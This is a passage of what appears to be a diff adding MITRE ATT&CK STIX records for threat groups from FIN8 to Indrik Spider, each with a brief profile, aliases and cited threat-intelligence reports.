Criminal Operation. Retrieved August 23, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html" + }, + { + "url": "https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/", + "description": "Loui, E. and Reynolds, J. (2021, August 30). CARBON SPIDER Embraces Big Game Hunting, Part 1. Retrieved September 20, 2021.", + "source_name": "CrowdStrike Carbon Spider August 2021" + }, + { + "url": "http://blog.morphisec.com/fin7-attacks-restaurant-industry", + "description": "Gorelik, M.. (2017, June 9). FIN7 Takes Another Bite at the Restaurant Industry. Retrieved July 13, 2017.", + "source_name": "Morphisec FIN7 June 2017" + }, + { + "url": "https://www.fireeye.com/blog/threat-research/2017/05/fin7-shim-databases-persistence.html", + "description": "Erickson, J., McWhirt, M., Palombo, D. (2017, May 3). To SDB, Or Not To SDB: FIN7 Leveraging Shim Databases for Persistence. Retrieved July 18, 2017.", + "source_name": "FireEye FIN7 Shim Databases" + }, + { + "url": "https://www.secureworks.com/research/threat-profiles/gold-niagara", + "description": "CTU. (n.d.). GOLD NIAGARA. Retrieved September 21, 2021.", + "source_name": "Secureworks GOLD NIAGARA Threat Profile" + }, + { + "url": "https://securityintelligence.com/posts/ransomware-2020-attack-trends-new-techniques-affecting-organizations-worldwide/", + "description": "Singleton, C. and Kiefer, C. (2020, September 28). Ransomware 2020: Attack Trends Affecting Organizations Worldwide. Retrieved September 20, 2021.", + "source_name": "IBM Ransomware Trends September 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "intrusion-set", + "name": "FIN8", + "x_mitre_version": "1.2", + "modified": "2021-10-12T21:31:07.407Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "aliases": [ + "FIN8" + ], + "id": "intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826", + "description": "[FIN8](https://attack.mitre.org/groups/G0061) is a financially motivated threat group known to launch tailored spearphishing campaigns targeting the retail, restaurant, and hospitality industries. (Citation: FireEye Obfuscation June 2017) (Citation: FireEye Fin8 May 2016)", + "x_mitre_contributors": [ + "Daniyal Naeem, BT Security" + ], + "created": "2018-04-18T17:59:24.739Z", + "external_references": [ + { + "url": "https://attack.mitre.org/groups/G0061", + "external_id": "G0061", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: FireEye Obfuscation June 2017)", + "source_name": "FIN8" + }, + { + "source_name": "FireEye Obfuscation June 2017", + "description": "Bohannon, D. & Carr N. (2017, June 30). Obfuscation in the Wild: Targeted Attackers Lead the Way in Evasion Techniques. Retrieved February 12, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html" + }, + { + "source_name": "FireEye Fin8 May 2016", + "description": "Kizhakkinan, D. et al.. (2016, May 11). Threat Actor Leverages Windows Zero-day Exploit in Payment Card Data Attacks. Retrieved February 12, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2016/05/windows-zero-day-payment-cards.html" + } + ] + }, + { + "type": "intrusion-set", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Ferocious Kitten", + "x_mitre_version": "1.0", + "modified": "2021-10-25T14:28:10.337Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "aliases": [ + "Ferocious Kitten" + ], + "id": "intrusion-set--6566aac9-dad8-4332-ae73-20c23bad7f02", + "description": "[Ferocious Kitten](https://attack.mitre.org/groups/G0137) is a threat group that has primarily targeted Persian-speaking individuals in Iran since at least 2015.(Citation: Kaspersky Ferocious Kitten Jun 2021)", + "x_mitre_contributors": [ + "Pooja Natarajan, NEC Corporation India", + "Manikantan Srinivasan, NEC Corporation India", + "Hiroki Nagahama, NEC Corporation" + ], + "created": "2021-09-28T17:41:12.950Z", + "external_references": [ + { + "url": "https://attack.mitre.org/groups/G0137", + "external_id": "G0137", + "source_name": "mitre-attack" + }, + { + "url": "https://securelist.com/ferocious-kitten-6-years-of-covert-surveillance-in-iran/102806/", + "description": "GReAT. (2021, June 16). Ferocious Kitten: 6 Years of Covert Surveillance in Iran. Retrieved September 22, 2021.", + "source_name": "Kaspersky Ferocious Kitten Jun 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "intrusion-set", + "name": "Fox Kitten", + "description": "[Fox Kitten](https://attack.mitre.org/groups/G0117) is threat actor with a suspected nexus to the Iranian government that has been active since at least 2017 against entities in the Middle East, North Africa, Europe, Australia, and North America. [Fox Kitten](https://attack.mitre.org/groups/G0117) has targeted multiple industrial verticals including oil and gas, technology, government, defense, healthcare, manufacturing, and engineering.(Citation: ClearkSky Fox Kitten February 2020)(Citation: CrowdStrike PIONEER KITTEN August 2020)(Citation: Dragos PARISITE )(Citation: ClearSky Pay2Kitten December 2020)", + "x_mitre_version": "1.0", + "modified": "2021-04-20T22:02:30.995Z", + "aliases": [ + "Fox Kitten", + "UNC757", + "PIONEER KITTEN", + "Parisite" + ], + "created": "2020-12-21T21:49:47.307Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee", + "external_references": [ + { + "url": "https://attack.mitre.org/groups/G0117", + "external_id": "G0117", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: CISA AA20-259A Iran-Based Actor September 2020)(Citation: CrowdStrike PIONEER KITTEN August 2020)", + "source_name": "UNC757" + }, + { + "description": "(Citation: CrowdStrike PIONEER KITTEN August 2020)(Citation: CISA AA20-259A Iran-Based Actor September 2020)", + "source_name": "PIONEER KITTEN" + }, + { + "description": "(Citation: Dragos PARISITE )(Citation: ClearkSky Fox Kitten February 2020)(Citation: CrowdStrike PIONEER KITTEN August 2020)", + "source_name": "Parisite" + }, + { + "url": "https://www.clearskysec.com/fox-kitten/", + "description": "ClearSky. (2020, February 16). Fox Kitten \u2013 Widespread Iranian Espionage-Offensive Campaign. Retrieved December 21, 2020.", + "source_name": "ClearkSky Fox Kitten February 2020" + }, + { + "url": "https://www.crowdstrike.com/blog/who-is-pioneer-kitten/", + "description": "Orleans, A. (2020, August 31). Who Is PIONEER KITTEN?. Retrieved December 21, 2020.", + "source_name": "CrowdStrike PIONEER KITTEN August 2020" + }, + { + "url": "https://www.dragos.com/threat/parisite/", + "description": "Dragos. (n.d.). PARISITE. Retrieved December 21, 2020.", + "source_name": "Dragos PARISITE " + }, + { + "url": "https://www.clearskysec.com/wp-content/uploads/2020/12/Pay2Kitten.pdf", + "description": "ClearSky. (2020, December 17). Pay2Key Ransomware \u2013 A New Campaign by Fox Kitten. Retrieved December 21, 2020.", + "source_name": "ClearSky Pay2Kitten December 2020" + }, + { + "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-259a", + "description": "CISA. (2020, September 15). Iran-Based Threat Actor Exploits VPN Vulnerabilities. Retrieved December 21, 2020.", + "source_name": "CISA AA20-259A Iran-Based Actor September 2020" + } + ] + }, + { + "type": "intrusion-set", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Frankenstein", + "description": "[Frankenstein](https://attack.mitre.org/groups/G0101) is a campaign carried out between January and April 2019 by unknown threat actors. The campaign name comes from the actors' ability to piece together several unrelated components.(Citation: Talos Frankenstein June 2019) ", + "x_mitre_version": "1.1", + "modified": "2021-05-26T19:57:42.132Z", + "aliases": [ + "Frankenstein" + ], + "created": "2020-05-11T15:21:09.438Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "intrusion-set--6b1b551c-d770-4f95-8cfc-3cd253c4c04e", + "external_references": [ + { + "url": "https://attack.mitre.org/groups/G0101", + "external_id": "G0101", + "source_name": "mitre-attack" + }, + { + "url": "https://blog.talosintelligence.com/2019/06/frankenstein-campaign.html", + "description": "Adamitis, D. et al. (2019, June 4). It's alive: Threat actors cobble together open-source pieces into monstrous Frankenstein campaign. Retrieved May 11, 2020.", + "source_name": "Talos Frankenstein June 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "modified": "2021-04-23T01:32:21.874Z", + "name": "GALLIUM", + "created": "2019-07-18T20:47:50.050Z", + "x_mitre_version": "2.0", + "aliases": [ + "GALLIUM", + "Operation Soft Cell" + ], + "type": "intrusion-set", + "id": "intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258", + "description": "[GALLIUM](https://attack.mitre.org/groups/G0093) is a group that has been active since at least 2012, primarily targeting high-profile telecommunications networks. [GALLIUM](https://attack.mitre.org/groups/G0093) has been identified in some reporting as likely a Chinese state-sponsored group, based in part on tools used and TTPs commonly associated with Chinese threat actors.(Citation: Cybereason Soft Cell June 2019)(Citation: Microsoft GALLIUM December 2019)", + "x_mitre_contributors": [ + "Daniyal Naeem, BT Security", + "Cybereason Nocturnus, @nocturnus" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/groups/G0093", + "external_id": "G0093", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: Microsoft GALLIUM December 2019)", + "source_name": "GALLIUM" + }, + { + "description": "(Citation: Cybereason Soft Cell June 2019)", + "source_name": "Operation Soft Cell" + }, + { + "source_name": "Cybereason Soft Cell June 2019", + "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019.", + "url": "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers" + }, + { + "url": "https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/", + "description": "MSTIC. (2019, December 12). GALLIUM: Targeting global telecom. Retrieved January 13, 2021.", + "source_name": "Microsoft GALLIUM December 2019" + } + ] + }, + { + "type": "intrusion-set", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "GCMAN", + "description": "[GCMAN](https://attack.mitre.org/groups/G0036) is a threat group that focuses on targeting banks for the purpose of transferring money to e-currency services. (Citation: Securelist GCMAN)", + "x_mitre_version": "1.1", + "modified": "2020-03-30T19:03:44.853Z", + "aliases": [ + "GCMAN" + ], + "created": "2017-05-31T21:32:05.611Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "intrusion-set--0ea72cd5-ca30-46ba-bc04-378f701c658f", + "external_references": [ + { + "url": "https://attack.mitre.org/groups/G0036", + "external_id": "G0036", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: Securelist GCMAN)", + "source_name": "GCMAN" + }, + { + "url": "https://securelist.com/apt-style-bank-robberies-increase-with-metel-gcman-and-carbanak-2-0-attacks/73638/", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, February 8). APT-style bank robberies increase with Metel, GCMAN and Carbanak 2.0 attacks. Retrieved April 20, 2016.", + "source_name": "Securelist GCMAN" + } + ] + }, + { + "type": "intrusion-set", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "GOLD SOUTHFIELD", + "x_mitre_version": "1.1", + "modified": "2021-04-26T12:52:34.528Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "aliases": [ + "GOLD SOUTHFIELD" + ], + "id": "intrusion-set--c77c5576-ca19-42ed-a36f-4b4486a84133", + "description": "[GOLD SOUTHFIELD](https://attack.mitre.org/groups/G0115) is a financially motivated threat group active since at least 2019 that operates the [REvil](https://attack.mitre.org/software/S0496) Ransomware-as-a Service (RaaS). [GOLD SOUTHFIELD](https://attack.mitre.org/groups/G0115) provides backend infrastructure for affiliates recruited on underground forums to perpetrate high value deployments.(Citation: Secureworks REvil September 2019)(Citation: Secureworks GandCrab and REvil September 2019)(Citation: Secureworks GOLD SOUTHFIELD)", + "x_mitre_contributors": [ + "Thijn Bukkems, Amazon" + ], + "created": "2020-09-22T19:41:27.845Z", + "external_references": [ + { + "url": "https://attack.mitre.org/groups/G0115", + "external_id": "G0115", + "source_name": "mitre-attack" + }, + { + "url": "https://www.secureworks.com/research/revil-sodinokibi-ransomware", + "description": "Counter Threat Unit Research Team. (2019, September 24). REvil/Sodinokibi Ransomware. Retrieved August 4, 2020.", + "source_name": "Secureworks REvil September 2019" + }, + { + "url": "https://www.secureworks.com/blog/revil-the-gandcrab-connection", + "description": "Secureworks . (2019, September 24). REvil: The GandCrab Connection. Retrieved August 4, 2020.", + "source_name": "Secureworks GandCrab and REvil September 2019" + }, + { + "url": "https://www.secureworks.com/research/threat-profiles/gold-southfield", + "description": "Secureworks. (n.d.). GOLD SOUTHFIELD. Retrieved October 6, 2020.", + "source_name": "Secureworks GOLD SOUTHFIELD" + } + ] + }, + { + "type": "intrusion-set", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Gallmaker", + "description": "[Gallmaker](https://attack.mitre.org/groups/G0084) is a cyberespionage group that has targeted victims in the Middle East and has been active since at least December 2017. The group has mainly targeted victims in the defense, military, and government sectors.(Citation: Symantec Gallmaker Oct 2018)", + "x_mitre_version": "1.1", + "modified": "2020-03-30T19:04:47.798Z", + "aliases": [ + "Gallmaker" + ], + "created": "2019-01-30T14:26:42.897Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "intrusion-set--2fd2be6a-d3a2-4a65-b499-05ea2693abee", + "external_references": [ + { + "url": "https://attack.mitre.org/groups/G0084", + "external_id": "G0084", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: Symantec Gallmaker Oct 2018)", + "source_name": "Gallmaker" + }, + { + "url": "https://www.symantec.com/blogs/threat-intelligence/gallmaker-attack-group", + "description": "Symantec Security Response. (2018, October 10). Gallmaker: New Attack Group Eschews Malware to Live off the Land. Retrieved November 27, 2018.", + "source_name": "Symantec Gallmaker Oct 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "intrusion-set", + "name": "Gamaredon Group", + "x_mitre_version": "1.2", + "modified": "2021-01-20T22:20:20.981Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "aliases": [ + "Gamaredon Group" + ], + "id": "intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf", + "description": "[Gamaredon Group](https://attack.mitre.org/groups/G0047) is a threat group that has been active since at least 2013 and has targeted individuals likely involved in the Ukrainian government. The name [Gamaredon Group](https://attack.mitre.org/groups/G0047) comes from a misspelling of the word \"Armageddon\", which was detected in the adversary's early campaigns.(Citation: Palo Alto Gamaredon Feb 2017)(Citation: TrendMicro Gamaredon April 2020)(Citation: ESET Gamaredon June 2020)", + "x_mitre_contributors": [ + "ESET", + "Trend Micro Incorporated" + ], + "created": "2017-05-31T21:32:09.849Z", + "external_references": [ + { + "url": "https://attack.mitre.org/groups/G0047", + "external_id": "G0047", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: Palo Alto Gamaredon Feb 2017)", + "source_name": "Gamaredon Group" + }, + { + "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/", + "description": "Kasza, A. and Reichel, D. (2017, February 27). The Gamaredon Group Toolset Evolution. Retrieved March 1, 2017.", + "source_name": "Palo Alto Gamaredon Feb 2017" + }, + { + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/gamaredon-apt-group-use-covid-19-lure-in-campaigns/", + "description": "Kakara, H., Maruyama, E. (2020, April 17). Gamaredon APT Group Use Covid-19 Lure in Campaigns. Retrieved May 19, 2020.", + "source_name": "TrendMicro Gamaredon April 2020" + }, + { + "url": "https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/", + "description": "Boutin, J. (2020, June 11). Gamaredon group grows its game. Retrieved June 16, 2020.", + "source_name": "ESET Gamaredon June 2020" + } + ] + }, + { + "type": "intrusion-set", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Gorgon Group", + "description": "[Gorgon Group](https://attack.mitre.org/groups/G0078) is a threat group consisting of members who are suspected to be Pakistan-based or have other connections to Pakistan. The group has performed a mix of criminal and targeted attacks, including campaigns against government organizations in the United Kingdom, Spain, Russia, and the United States. (Citation: Unit 42 Gorgon Group Aug 2018)", + "x_mitre_version": "1.5", + "modified": "2021-10-12T21:57:25.847Z", + "aliases": [ + "Gorgon Group" + ], + "created": "2018-10-17T00:14:20.652Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "intrusion-set--1f21da59-6a13-455b-afd0-d58d0a5a7d27", + "external_references": [ + { + "url": "https://attack.mitre.org/groups/G0078", + "external_id": "G0078", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: Unit 42 Gorgon Group Aug 2018)", + "source_name": "Gorgon Group" + }, + { + "url": "https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/", + "description": "Falcone, R., et al. (2018, August 02). The Gorgon Group: Slithering Between Nation State and Cybercrime. Retrieved August 7, 2018.", + "source_name": "Unit 42 Gorgon Group Aug 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "intrusion-set", + "name": "Group5", + "description": "[Group5](https://attack.mitre.org/groups/G0043) is a threat group with a suspected Iranian nexus, though this attribution is not definite. The group has targeted individuals connected to the Syrian opposition via spearphishing and watering holes, normally using Syrian and Iranian themes. [Group5](https://attack.mitre.org/groups/G0043) has used two commonly available remote access tools (RATs), [njRAT](https://attack.mitre.org/software/S0385) and [NanoCore](https://attack.mitre.org/software/S0336), as well as an Android RAT, DroidJack. (Citation: Citizen Lab Group5)", + "x_mitre_version": "1.2", + "modified": "2020-03-30T19:07:39.812Z", + "aliases": [ + "Group5" + ], + "created": "2017-05-31T21:32:08.304Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "intrusion-set--7331c66a-5601-4d3f-acf6-ad9e3035eb40", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "G0043", + "url": "https://attack.mitre.org/groups/G0043" + }, + { + "description": "(Citation: Citizen Lab Group5)", + "source_name": "Group5" + }, + { + "source_name": "Citizen Lab Group5", + "description": "Scott-Railton, J., et al. (2016, August 2). Group5: Syria and the Iranian Connection. Retrieved September 26, 2016.", + "url": "https://citizenlab.ca/2016/08/group5-syria/" + } + ] + }, + { + "type": "intrusion-set", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "HAFNIUM", + "x_mitre_version": "1.0", + "modified": "2021-04-25T23:43:56.055Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "aliases": [ + "HAFNIUM", + "Operation Exchange Marauder" + ], + "id": "intrusion-set--2688b13e-8e71-405a-9c40-0dee94bddf87", + "description": "[HAFNIUM](https://attack.mitre.org/groups/G0125) is a likely state-sponsored cyber espionage group operating out of China that has been active since at least January 2021. [HAFNIUM](https://attack.mitre.org/groups/G0125) primarily targets entities in the US across a number of industry sectors, including infectious disease researchers, law firms, higher education institutions, defense contractors, policy think tanks, and NGOs.(Citation: Microsoft HAFNIUM March 2020)(Citation: Volexity Exchange Marauder March 2021)", + "x_mitre_contributors": [ + "Daniyal Naeem, BT Security", + "Matt Brenton, Zurich Insurance Group", + "Mayuresh Dani, Qualys", + "Harshal Tupsamudre, Qualys" + ], + "created": "2021-03-03T19:40:47.280Z", + "external_references": [ + { + "url": "https://attack.mitre.org/groups/G0125", + "external_id": "G0125", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: Volexity Exchange Marauder March 2021)", + "source_name": "Operation Exchange Marauder" + }, + { + "url": "https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/", + "description": "MSTIC. (2021, March 2). HAFNIUM targeting Exchange Servers with 0-day exploits. Retrieved March 3, 2021.", + "source_name": "Microsoft HAFNIUM March 2020" + }, + { + "url": "https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/", + "description": "Gruzweig, J. et al. (2021, March 2). Operation Exchange Marauder: Active Exploitation of Multiple Zero-Day Microsoft Exchange Vulnerabilities. Retrieved March 3, 2021.", + "source_name": "Volexity Exchange Marauder March 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "intrusion-set", + "name": "Higaisa", + "x_mitre_version": "1.0", + "modified": "2021-04-22T02:12:43.892Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "aliases": [ + "Higaisa" + ], + "id": "intrusion-set--54dfec3e-6464-4f74-9d69-b7c817b7e5a3", + "description": "[Higaisa](https://attack.mitre.org/groups/G0126) is a threat group suspected to have South Korean origins. [Higaisa](https://attack.mitre.org/groups/G0126) has targeted government, public, and trade organizations in North Korea; however, they have also carried out attacks in China, Japan, Russia, Poland, and other nations. [Higaisa](https://attack.mitre.org/groups/G0126) was first disclosed in early 2019 but is assessed to have operated as early as 2009.(Citation: Malwarebytes Higaisa 2020)(Citation: Zscaler Higaisa 2020)(Citation: PTSecurity Higaisa 2020)", + "x_mitre_contributors": [ + "Daniyal Naeem, BT Security" + ], + "created": "2021-03-05T18:54:56.267Z", + "external_references": [ + { + "url": "https://attack.mitre.org/groups/G0126", + "external_id": "G0126", + "source_name": "mitre-attack" + }, + { + "url": "https://blog.malwarebytes.com/threat-analysis/2020/06/higaisa/", + "description": "Malwarebytes Threat Intelligence Team. (2020, June 4). New LNK attack tied to Higaisa APT discovered. Retrieved March 2, 2021.", + "source_name": "Malwarebytes Higaisa 2020" + }, + { + "url": "https://www.zscaler.com/blogs/security-research/return-higaisa-apt", + "description": "Singh, S. Singh, A. (2020, June 11). The Return on the Higaisa APT. Retrieved March 2, 2021.", + "source_name": "Zscaler Higaisa 2020" + }, + { + "url": "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/covid-19-and-new-year-greetings-the-higaisa-group/", + "description": "PT ESC Threat Intelligence. (2020, June 4). COVID-19 and New Year greetings: an investigation into the tools and methods used by the Higaisa group. Retrieved March 2, 2021.", + "source_name": "PTSecurity Higaisa 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "intrusion-set", + "name": "Honeybee", + "description": "[Honeybee](https://attack.mitre.org/groups/G0072) is a campaign led by an unknown actor that targets humanitarian aid organizations and has been active in Vietnam, Singapore, Argentina, Japan, Indonesia, and Canada. It has been an active operation since August of 2017 and as recently as February 2018. (Citation: McAfee Honeybee)", + "x_mitre_version": "1.1", + "modified": "2020-07-23T19:48:35.981Z", + "aliases": [ + "Honeybee" + ], + "created": "2018-10-17T00:14:20.652Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "intrusion-set--ebb73863-fa44-4617-b4cb-b9ed3414eb87", + "external_references": [ + { + "url": "https://attack.mitre.org/groups/G0072", + "external_id": "G0072", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: McAfee Honeybee)", + "source_name": "Honeybee" + }, + { + "source_name": "McAfee Honeybee", + "description": "Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018.", + "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/" + } + ] + }, + { + "type": "intrusion-set", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Inception", + "x_mitre_version": "1.1", + "modified": "2021-10-12T23:21:06.480Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "aliases": [ + "Inception", + "Inception Framework", + "Cloud Atlas" + ], + "id": "intrusion-set--ead23196-d7b6-4ce6-a124-4ab4b67d81bd", + "description": "[Inception](https://attack.mitre.org/groups/G0100) is a cyber espionage group active since at least 2014. The group has targeted multiple industries and governmental entities primarily in Russia, but has also been active in the United States and throughout Europe, Asia, Africa, and the Middle East.(Citation: Unit 42 Inception November 2018)(Citation: Symantec Inception Framework March 2018)(Citation: Kaspersky Cloud Atlas December 2014)", + "x_mitre_contributors": [ + "Oleg Skulkin, Group-IB" + ], + "created": "2020-05-08T17:01:04.058Z", + "external_references": [ + { + "url": "https://attack.mitre.org/groups/G0100", + "external_id": "G0100", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: Symantec Inception Framework March 2018)", + "source_name": "Inception" + }, + { + "description": "(Citation: Symantec Inception Framework March 2018)", + "source_name": "Inception Framework" + }, + { + "description": "(Citation: Kaspersky Cloud Atlas December 2014)", + "source_name": "Cloud Atlas" + }, + { + "url": "https://unit42.paloaltonetworks.com/unit42-inception-attackers-target-europe-year-old-office-vulnerability/", + "description": "Lancaster, T. (2018, November 5). Inception Attackers Target Europe with Year-old Office Vulnerability. Retrieved May 8, 2020.", + "source_name": "Unit 42 Inception November 2018" + }, + { + "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/inception-framework-hiding-behind-proxies", + "description": "Symantec. (2018, March 14). Inception Framework: Alive and Well, and Hiding Behind Proxies. Retrieved May 8, 2020.", + "source_name": "Symantec Inception Framework March 2018" + }, + { + "url": "https://securelist.com/cloud-atlas-redoctober-apt-is-back-in-style/68083/", + "description": "GReAT. (2014, December 10). Cloud Atlas: RedOctober APT is back in style. Retrieved May 8, 2020.", + "source_name": "Kaspersky Cloud Atlas December 2014" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "intrusion-set", + "name": "IndigoZebra", + "x_mitre_version": "1.0", + "modified": "2021-10-16T02:06:06.404Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "aliases": [ + "IndigoZebra" + ], + "id": "intrusion-set--e5603ea8-4c36-40e7-b7af-a077d24fedc1", + "description": "[IndigoZebra](https://attack.mitre.org/groups/G0136) is a suspected Chinese cyber espionage group that has been targeting Central Asian governments since at least 2014.(Citation: HackerNews IndigoZebra July 2021)(Citation: Checkpoint IndigoZebra July 2021)(Citation: Securelist APT Trends Q2 2017)", + "x_mitre_contributors": [ + "Pooja Natarajan, NEC Corporation India", + "Yoshihiro Kori, NEC Corporation", + "Manikantan Srinivasan, NEC Corporation India" + ], + "created": "2021-09-24T21:41:34.797Z", + "external_references": [ + { + "url": "https://attack.mitre.org/groups/G0136", + "external_id": "G0136", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: HackerNews IndigoZebra July 2021)(Citation: Checkpoint IndigoZebra July 2021)(Citation: Securelist APT Trends Q2 2017)", + "source_name": "IndigoZebra" + }, + { + "url": "https://thehackernews.com/2021/07/indigozebra-apt-hacking-campaign.html", + "description": "Lakshmanan, R.. (2021, July 1). IndigoZebra APT Hacking Campaign Targets the Afghan Government. Retrieved September 24, 2021.", + "source_name": "HackerNews IndigoZebra July 2021" + }, + { + "url": "https://research.checkpoint.com/2021/indigozebra-apt-continues-to-attack-central-asia-with-evolving-tools/", + "description": "CheckPoint Research. (2021, July 1). IndigoZebra APT continues to attack Central Asia with evolving tools. Retrieved September 24, 2021.", + "source_name": "Checkpoint IndigoZebra July 2021" + }, + { + "url": "https://securelist.com/apt-trends-report-q2-2017/79332/", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2017, August 8). APT Trends report Q2 2017. Retrieved February 15, 2018.", + "source_name": "Securelist APT Trends Q2 2017" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "intrusion-set", + "name": "Indrik Spider", + "description": "[Indrik Spider](https://attack.mitre.org/groups/G0119) is a Russia-based cybercriminal group that as been active since at least 2014. [Indrik Spider](https://attack.mitre.org/groups/G0119) initially started with the [Dridex](https://attack.mitre.org/software/S0384) banking Trojan, and then by 2017 they began running ransomware operations using [BitPaymer](https://attack.mitre.org/software/S0570), [WastedLocker](https://attack.mitre.org/software/S0612), and Hades ransomware.(Citation: Crowdstrike Indrik November 2018)(Citation: Crowdstrike EvilCorp March 2021)(Citation: Treasury EvilCorp Dec 2019)", + "x_mitre_version": "2.0", + "modified": "2021-10-15T16:14:32.314Z", + "aliases": [ + "Indrik Spider", + "Evil Corp" + ], + "created": "2021-01-06T17:46:35.134Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "intrusion-set--01e28736-2ffc-455b-9880-ed4d1407ae07", + "external_references": [ + { + "url": "https://attack.mitre.org/groups/G0119", + "external_id": "G0119", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: Crowdstrike EvilCorp March 2021)(Citation: Treasury EvilCorp Dec 2019)", + "source_name": "Evil Corp" + }, + { + "url": "https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/", + "description": "Frankoff, S., Hartley, B. (2018, November 14). Big Game Hunting: The Evolution of INDRIK SPIDER From Dridex Wire Fraud to BitPaymer Targeted Ransomware. Retrieved January 6, 2021.", 